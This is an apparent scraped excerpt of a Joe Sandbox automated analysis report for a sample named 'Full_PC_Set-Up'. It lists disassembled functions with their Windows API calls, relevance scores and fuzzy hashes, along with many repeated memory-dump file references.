Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$RectScrollVisible
String ID:
API String ID: 2639402888-0
Opcode ID: be7853bb53af2049b0f9d54326c963d494b621586099b6fcd65efc154f743042
Instruction ID: ef50b9feec6d10831d1d2ccd00c50af0f390414fc1748d79f48f057fed359675
Opcode Fuzzy Hash: be7853bb53af2049b0f9d54326c963d494b621586099b6fcd65efc154f743042
Instruction Fuzzy Hash: 582149B2200209FFDF168F54DC44EBE7BBAFB88311F04842AF94696164E770D961DB55

Function 0038999F Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00000000,00564290,0000000C,003757D0,?,00004000,00000000,?,5EBD7D5F,00000000,?,?,?,00375D55,?,?), ref: 003899D3
GetLastError.KERNEL32(?,?,00375D55,?,?,?,00000000,000000FF,00000000,00000018,003719B5,?,?,?,00000000), ref: 003899DD
__dosmaperr.LIBCMT ref: 003899E4
__alloc_osfhnd.LIBCMT ref: 00389A05
__set_osfhnd.LIBCMT ref: 00389A2F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 18a88d8990ff1e954e70b4cb9e480939e8a88fdbe76414dd16fd5c5443396cff
Instruction ID: 9e1eddb565939ea5244d54f349903b2a496665d09282ef10214997cd9eed501a
Opcode Fuzzy Hash: 18a88d8990ff1e954e70b4cb9e480939e8a88fdbe76414dd16fd5c5443396cff
Instruction Fuzzy Hash: 8821C1305023059ADF13BB78C8057AC7B61AB42324F6D82CAE4648F1E6CB798685DF40

Function 002A1330 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 002A1342
ScreenToClient.USER32(?,?), ref: 002A1354

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 002A0E00: GetClientRect.USER32(?,?), ref: 002A0E13
Part of subcall function 002A0E00: OffsetRect.USER32(00000000,00000000,00000000), ref: 002A0E56

PtInRect.USER32(?,?,00000001), ref: 002A13C1
LoadCursorW.USER32(00000000,00007F89), ref: 002A13D7
SetCursor.USER32(00000000), ref: 002A13DE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CursorRect$Client$LoadOffsetScreenScroll
String ID:
API String ID: 3352466932-0
Opcode ID: 68c58e2a0235ca21a8e062f40356b516d2f8040bf3b753caf70680d080edc605
Instruction ID: 3d1ffff878935be7f0bb670eb30c2639f8e19f596c2a530376555e9dc2f10990
Opcode Fuzzy Hash: 68c58e2a0235ca21a8e062f40356b516d2f8040bf3b753caf70680d080edc605
Instruction Fuzzy Hash: 45213976708301AFC304DF69D845A5AB7E8FF88720F048A2EF959C7351DA70E961CB96

Function 0036F92F Relevance: 7.6, APIs: 5, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00367BDB: GetDlgItem.USER32(?,?), ref: 00367BEC

SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0036F972
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0036F986
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0036F9AC
GetWindow.USER32(?,00000002), ref: 0036F9B6
GetWindowLongW.USER32(00000000,000000F0), ref: 0036F9C6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$Window$ItemLong
String ID:
API String ID: 1613074769-0
Opcode ID: 95bdb750eeb8417fdee13176049412d572f9d2d6abced2637b4d56fa8713c0c8
Instruction ID: 4d2cedbc3c0046be714b857ea57518bf5a3c084ba60f98d21640c4d06b152e03
Opcode Fuzzy Hash: 95bdb750eeb8417fdee13176049412d572f9d2d6abced2637b4d56fa8713c0c8
Instruction Fuzzy Hash: 0211297120020AFFDB119F60EC85EAA7BA9EF453A4F15C136BD599B2A4C7309D91CB90

Function 0030CCA0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Mutex$CloseCreateHandleObjectReleaseSingleWaitswprintf
String ID:
API String ID: 3195668379-0
Opcode ID: a19c9d6f914a7c0aa6ace94d13b437053f64bab6784e0cfb834bb100929a0045
Instruction ID: c6c0fbe3a335892cee6f2245c47ef1e91c420f4b29baeccb9be1c87c5975ecd9
Opcode Fuzzy Hash: a19c9d6f914a7c0aa6ace94d13b437053f64bab6784e0cfb834bb100929a0045
Instruction Fuzzy Hash: A711B6326117009BD320EF68DC81B97B7E4EB84720F108A2EF659961D0D3B4E549CBA6

Function 0037630D Relevance: 7.6, APIs: 5, Instructions: 55stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0036FB4C,5EBD7D5F,?,00000000), ref: 00376339
_memset.LIBCMT ref: 00376357
GetWindowTextW.USER32(?,?,00000100), ref: 00376371
lstrcmpW.KERNEL32(?,0036FB4C), ref: 00376383
SetWindowTextW.USER32(?,0036FB4C), ref: 0037638F

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: TextWindow$Exception@8Throw_memsetlstrcmplstrlen
String ID:
API String ID: 289641511-0
Opcode ID: e25d1562269688167d9bc7139459bf2c8303c7db4ec264fbfd45874f85f40855
Instruction ID: d203216803dd464607fc00391a3e7013066f6eb12696cc38e83f4e017c30f44b
Opcode Fuzzy Hash: e25d1562269688167d9bc7139459bf2c8303c7db4ec264fbfd45874f85f40855
Instruction Fuzzy Hash: DB01D6BA501719ABDB22EF649C49DDF77ADEF48310F058062F909E7111EA34DE44CB61

Function 002D2A20 Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002D2A2E
lstrcpynW.KERNEL32(?,?,0000040F), ref: 002D2A46
_memset.LIBCMT ref: 002D2A8A
_memset.LIBCMT ref: 002D2A9C
_memset.LIBCMT ref: 002D2AAE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$lstrcpyn
String ID:
API String ID: 1736518356-0
Opcode ID: 0c68d056d6f8062208ccbebaf6595b6eb9b0e886bce30df193a139588c45f78c
Instruction ID: 7abd189be1d63bb641ac58ea4579ef5c2a783d7199e1a9f8d8c9c4c8a4953903
Opcode Fuzzy Hash: 0c68d056d6f8062208ccbebaf6595b6eb9b0e886bce30df193a139588c45f78c
Instruction Fuzzy Hash: 8011E1B6500B089BC231EF66C841B97B7ECEF55B04F41092EF74A47250EBF5B5888769

Function 0030CF10 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A,?,?,?,?,?,?,?,?,002EDD39,?,?), ref: 0030CF65
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0030CF81
TranslateMessage.USER32(?), ref: 0030CF8C
DispatchMessageW.USER32(?), ref: 0030CF97
Sleep.KERNEL32(0000000A,?,?,?,?,?,?,?,?,?,002EDD39,?,?), ref: 0030CF9F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$Sleep$DispatchPeekTranslate
String ID:
API String ID: 645428412-0
Opcode ID: 5b682a9a99b5b2cf4a7d28df341f3402f8d62c2d85380d4e6f7d00ddc73766d0
Instruction ID: 65dc3b7d7408f304bce0f5a4dca33fcc6912a19d4851827708ae711f0ad3c099
Opcode Fuzzy Hash: 5b682a9a99b5b2cf4a7d28df341f3402f8d62c2d85380d4e6f7d00ddc73766d0
Instruction Fuzzy Hash: 1611A0716117019BD320EF68DC05B97BBE4BF58B10F008A2EE19A866D0D7B0F148CB56

Function 00315470 Relevance: 7.5, APIs: 5, Instructions: 49windowthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00315450,?,00000000,?), ref: 00315495
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003154BB
TranslateMessage.USER32(?), ref: 003154C9
DispatchMessageW.USER32(?), ref: 003154D3
CloseHandle.KERNEL32(00000000), ref: 003154EA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$CloseCreateDispatchHandlePeekThreadTranslate
String ID:
API String ID: 2582738287-0
Opcode ID: d269a968be55f516ca9b9bc6a75252b7fd71aceaf03196012b7680d1b65a4748
Instruction ID: d5205541fe6579390a1d159a42030f79fbaa19e12135220da200ff6525dfb8fb
Opcode Fuzzy Hash: d269a968be55f516ca9b9bc6a75252b7fd71aceaf03196012b7680d1b65a4748
Instruction Fuzzy Hash: 8A115E31A41308DBDB18CB91DC49FED7778EB8C712F00401AE602B6280CB78A4D4CB65

Function 0030A970 Relevance: 7.5, APIs: 5, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,5EBD7D5F,00000000,?,00000000,004CB5B8,000000FF,0030B13D), ref: 0030A9B4
CloseHandle.KERNEL32(?,?,00000000,004CB5B8,000000FF,0030B13D), ref: 0030A9C4
CloseHandle.KERNEL32(?,?,00000000,004CB5B8,000000FF,0030B13D), ref: 0030A9CA
DeleteCriticalSection.KERNEL32(00001810,?,00000000,004CB5B8,000000FF,0030B13D), ref: 0030A9D6
DeleteCriticalSection.KERNEL32(00001828,?,00000000,004CB5B8,000000FF,0030B13D), ref: 0030A9DC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CloseCriticalDeleteHandleSection$ObjectSingleWait
String ID:
API String ID: 3457040987-0
Opcode ID: d68e761b684c80ff042ec97dbffdefc7bb6decb1ac8a34c2e2595faad0b401b0
Instruction ID: e4579bb35a26e8a0d917b59fc77d1ecb13f3f3981d8976971d13f891453c5341
Opcode Fuzzy Hash: d68e761b684c80ff042ec97dbffdefc7bb6decb1ac8a34c2e2595faad0b401b0
Instruction Fuzzy Hash: DC115E76104B00AFC320DB24DC45F9BB7E8EB88B24F108A1EE55597690D7B8A408CBA5

Function 0029F400 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 0029F40B

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

OffsetRect.USER32(00000000,00000000,00000000), ref: 0029F446
InvalidateRect.USER32(?,?,00000000), ref: 0029F457
UpdateWindow.USER32(?), ref: 0029F461
SetRectEmpty.USER32(?), ref: 0029F468

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Empty$InvalidateOffsetScrollUpdateWindow
String ID:
API String ID: 1125766305-0
Opcode ID: ada25b241e3d461bd2055dc36745993a3debf97d153a84d43a11b05aa2bfb1e7
Instruction ID: f69667037cec64faa00e0365defd6b64947f44d2bc8104c00ad337e0b7c370bd
Opcode Fuzzy Hash: ada25b241e3d461bd2055dc36745993a3debf97d153a84d43a11b05aa2bfb1e7
Instruction Fuzzy Hash: C101DA75605702AFC704EF64D848EAAB7F8FF88700F008A1DF59983654D734E615CB96

Function 002F4A60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 281COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F4B11
SHGetPathFromIDListW.SHELL32(?,?), ref: 002F4B1F
GetDriveTypeW.KERNEL32(?,?,?,?,00000000,?), ref: 002F4BD1

Part of subcall function 00293E60: _memcpy_s.LIBCMT ref: 00293EBC

Part of subcall function 002F58C0: _wcsrchr.LIBCMT ref: 002F5924

Strings

Removable (, xrefs: 002F4C25

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: DriveFromListPathType_memcpy_s_memset_wcsrchr
String ID: Removable (
API String ID: 4235040455-3896712754
Opcode ID: 914fe00609ee83e422bf02a8ef3e240f18638f2c32b79a32d47e7a8d09f4cb0e
Instruction ID: a5f9651d42e0a4af852cdb0843885c318d3c3263ceaec6c415d3b765e0cd890d
Opcode Fuzzy Hash: 914fe00609ee83e422bf02a8ef3e240f18638f2c32b79a32d47e7a8d09f4cb0e
Instruction Fuzzy Hash: B3B1E0701187419FD324EF28C885B6BBBE9FF88314F144A1DF599872A2DB74E909CB52

Function 002F4050 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 210windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036E2A4: IsWindow.USER32(?), ref: 0036E2B2
Part of subcall function 0036E2A4: SendMessageW.USER32(?), ref: 0036E2E0

Part of subcall function 002F5730: SendMessageW.USER32(?,0000110A,00000003,?), ref: 002F5748

SendMessageW.USER32(?,00001115,00000000,?), ref: 002F411F
_memset.LIBCMT ref: 002F4181
SendMessageW.USER32(?,00001132,00000000,?), ref: 002F4230

Strings

o, xrefs: 002F419E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
